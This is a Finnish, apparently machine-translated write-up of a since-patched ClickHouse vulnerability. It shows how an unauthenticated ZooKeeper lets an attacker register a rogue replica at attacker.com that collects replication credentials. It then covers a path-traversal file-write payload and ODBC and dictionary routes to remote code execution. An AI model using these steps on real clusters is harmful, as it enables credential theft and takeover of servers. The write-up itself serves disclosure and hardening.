Miksi eläintarhan häkit pitää pitää kiinni?

Miksi eläintarhan häkit pitää pitää kiinni?

Tämä artikkeli kertoo tarinan erittäin tietystä haavoittuvuudesta ClickHouse-replikointiprotokollassa ja näyttää myös kuinka hyökkäyspintaa voidaan laajentaa.

ClickHouse on tietokanta suurten tietomäärien tallentamiseen, useimmiten käyttämällä useampaa kuin yhtä kopiota. ClickHousen klusterointi ja replikointi on rakennettu päälle Apache ZooKeeper (ZK) ja vaativat kirjoitusoikeudet.

ZK-oletusasennus ei vaadi todennusta, joten tuhansia Kafkan, Hadoopin ja ClickHousen määrittämiseen käytettyjä ZK-palvelimia ovat julkisesti saatavilla.

Hyökkäyspinnan vähentämiseksi sinun tulee aina määrittää todennus ja valtuutus, kun asennat ZooKeeperin

Tietysti on joitain 0-päiväpohjaisia ​​Java-deserialisointeja, mutta kuvittele, että hyökkääjä voisi lukea ja kirjoittaa ZooKeeperiin, jota käytetään ClickHouse-replikointiin.

Kun ClickHouse on määritetty klusteritilassa, se tukee hajautettuja kyselyjä DDL, joka kulkee ZK:n läpi - heille luodaan arkille solmut /clickhouse/task_queue/ddl.

Voit esimerkiksi luoda solmun /clickhouse/task_queue/ddl/query-0001 sisällöllä:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

ja sen jälkeen testitaulukko poistetaan klusteripalvelimista host1 ja host2. DDL tukee myös CREATE/ALTER/DROP-kyselyiden suorittamista.

Kuulostaako pelottavalta? Mutta mistä hyökkääjä voi saada palvelinosoitteita?

ClickHouse-replikointi toimii yksittäisten taulukoiden tasolla, joten kun taulukko luodaan ZK:ssa, määritetään palvelin, joka on vastuussa metatietojen vaihtamisesta replikoiden kanssa. Esimerkiksi suoritettaessa pyyntöä (ZK on määritettävä, chXX - jäljennöksen nimi, foobar - taulukon nimi):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

solmut luodaan sarakkeet и metadata.

Sisältö /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Onko mahdollista yhdistää tietoja tästä klusterista? Kyllä, jos replikointiportti (TCP/9009) palvelimella chXX-address palomuuria ei suljeta, eikä replikoinnin todennusta määritetä. Kuinka ohittaa todennus?

Hyökkääjä voi luoda uuden replikan ZK:ssa yksinkertaisesti kopioimalla sen sisällön /clickhouse/tables/01-01/foobar/replicas/chXX ja muuttaa merkitystä host.

Sisältö /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Sitten sinun on kerrottava muille replikoille, että hyökkääjän palvelimella on uusi tietolohko, joka heidän on otettava - solmu luodaan ZK: ssa /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotonisesti kasvava laskuri, jonka pitäisi olla suurempi kuin tapahtumalokin viimeinen):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

missä source_replica — hyökkääjän edellisessä vaiheessa luodun replikan nimi, block_id — tietolohkon tunniste, saada - "get block" -komento (ja tässä on komennot muita toimintoja varten).

Seuraavaksi jokainen replika lukee uuden tapahtuman lokista ja siirtyy hyökkääjän hallitsemalle palvelimelle vastaanottamaan tietolohkon (replikointiprotokolla on binaarinen, toimii HTTP:n päällä). Palvelin attacker.com vastaanottaa pyyntöjä:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

jossa XXX on replikoinnin todennustiedot. Joissakin tapauksissa tämä voi olla tili, jolla on pääsy tietokantaan ClickHouse-pääprotokollan ja HTTP-protokollan kautta. Kuten olet nähnyt, hyökkäyspinta kasvaa kriittisesti suureksi, koska replikointiin käytetty ZooKeeper jäi ilman autentikointia.

Tarkastellaan toimintoa saada tietolohko replikistä, se on kirjoitettu täysin varmuudella, että kaikki replikat ovat asianmukaisesti hallinnassa ja niiden välillä on luottamus.

Miksi eläintarhan häkit pitää pitää kiinni?
replikaation käsittelykoodi

Toiminto lukee luettelon tiedostoista, sitten niiden nimet, koon ja sisällön ja kirjoittaa ne sitten tiedostojärjestelmään. On syytä kuvata erikseen, kuinka tiedot tallennetaan tiedostojärjestelmään.

Siinä on useita alihakemistoja /var/lib/clickhouse (oletusmuistihakemisto määritystiedostosta):

liput - hakemisto tallennusta varten liput, käytetään palautumiseen tietojen häviämisen jälkeen;
tmp — hakemisto väliaikaisten tiedostojen tallentamista varten;
user_files — toiminnot tiedostoilla pyynnöissä rajoittuvat tähän hakemistoon (INTO OUTFILE ja muut);
metadata — sql-tiedostot taulukkokuvauksilla;
preprocessed_configs - käsitelty johdannaismääritystiedostot /etc/clickhouse-server;
tiedot - varsinainen hakemisto itse tiedoineen, tässä tapauksessa jokaiselle tietokannalle luodaan tähän yksinkertaisesti erillinen alihakemisto (esim. /var/lib/clickhouse/data/default).

Jokaiselle taulukolle luodaan alihakemisto tietokantahakemistoon. Jokainen sarake on erillinen tiedosto riippuen moottorin muoto. Esimerkiksi pöytään foobarhyökkääjän luoma, seuraavat tiedostot luodaan:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replika odottaa saavansa samoilla nimillä tiedostoja käsitellessään tietolohkoa, eikä vahvista niitä millään tavalla.

Huomaavainen lukija on luultavasti jo kuullut tiedoston_nimi vaarallisesta ketjutuksesta funktiossa WriteBufferFromFile. Kyllä, tämä sallii hyökkääjän kirjoittaa mielivaltaisen sisällön mihin tahansa FS:n tiedostoon, jolla on käyttäjäoikeudet clickhouse. Tätä varten hyökkääjän hallitseman replikan on palautettava pyyntöön seuraava vastaus (rivinvaihdot on lisätty ymmärtämisen helpottamiseksi):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

ja ketjutuksen jälkeen ../../../../../../../../../tmp/pwned tiedosto kirjoitetaan /tmp/pwned sisällön kanssa terve eläintarhanhoitaja.

Tiedostojen kirjoituskyvyn muuttamiseksi koodin etäsuoritukseen (RCE) on useita vaihtoehtoja.

Ulkoiset sanakirjat RCE:ssä

Vanhemmissa versioissa ClickHouse-asetusten hakemisto on tallennettu käyttäjäoikeuksin clickhouse oletuksena. Asetustiedostot ovat XML-tiedostoja, jotka palvelu lukee käynnistyksen yhteydessä ja tallentaa sitten välimuistiin /var/lib/clickhouse/preprocessed_configs. Kun muutoksia tapahtuu, ne luetaan uudelleen. Jos sinulla on pääsy /etc/clickhouse-server hyökkääjä voi luoda oman ulkoinen sanakirja suoritettava tyyppi ja suorita sitten mielivaltainen koodi. ClickHousen nykyiset versiot eivät tarjoa oikeuksia oletusarvoisesti, mutta jos palvelinta päivitettäisiin asteittain, ne voisivat säilyä. Jos tuet ClickHouse-klusteria, tarkista asetushakemiston oikeudet, sen on kuuluttava käyttäjälle root.

ODBC RCE:lle

Kun asennat paketin, luodaan käyttäjä clickhouse, mutta sen kotihakemistoa ei luoda /nonexistent. Ulkoisia sanakirjoja käytettäessä tai muista syistä järjestelmänvalvojat luovat kuitenkin hakemiston /nonexistent ja anna käyttäjälle clickhouse pääsy siihen kirjoittamiseen (SSZB! noin kääntäjä).

ClickHouse tukee ODBC ja voi muodostaa yhteyden muihin tietokantoihin. ODBC:ssä voit määrittää polun tietokantaohjainkirjastoon (.so). ClickHousen vanhemmissa versioissa voit tehdä tämän suoraan pyyntökäsittelijässä, mutta nyt tiukempi yhteysmerkkijonon tarkistus on lisätty odbc-bridge, joten ohjaimen polkua ei voi enää määrittää pyynnöstä. Mutta voiko hyökkääjä kirjoittaa kotihakemistoon käyttämällä yllä kuvattua haavoittuvuutta?

Luodaan tiedosto ~/.odbc.ini tällaisella sisällöllä:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

sitten käynnistyksen yhteydessä SELECT * FROM odbc('DSN=lalala', 'test', 'test'); kirjasto ladataan test.so ja sai RCE:n (kiitos buglloc tippiä varten).

Nämä ja muut haavoittuvuudet on korjattu ClickHousen versiossa 19.14.3. Pidä huolta ClickHousesta ja ZooKeeperistä!

Lähde: will.com

Lisää kommentti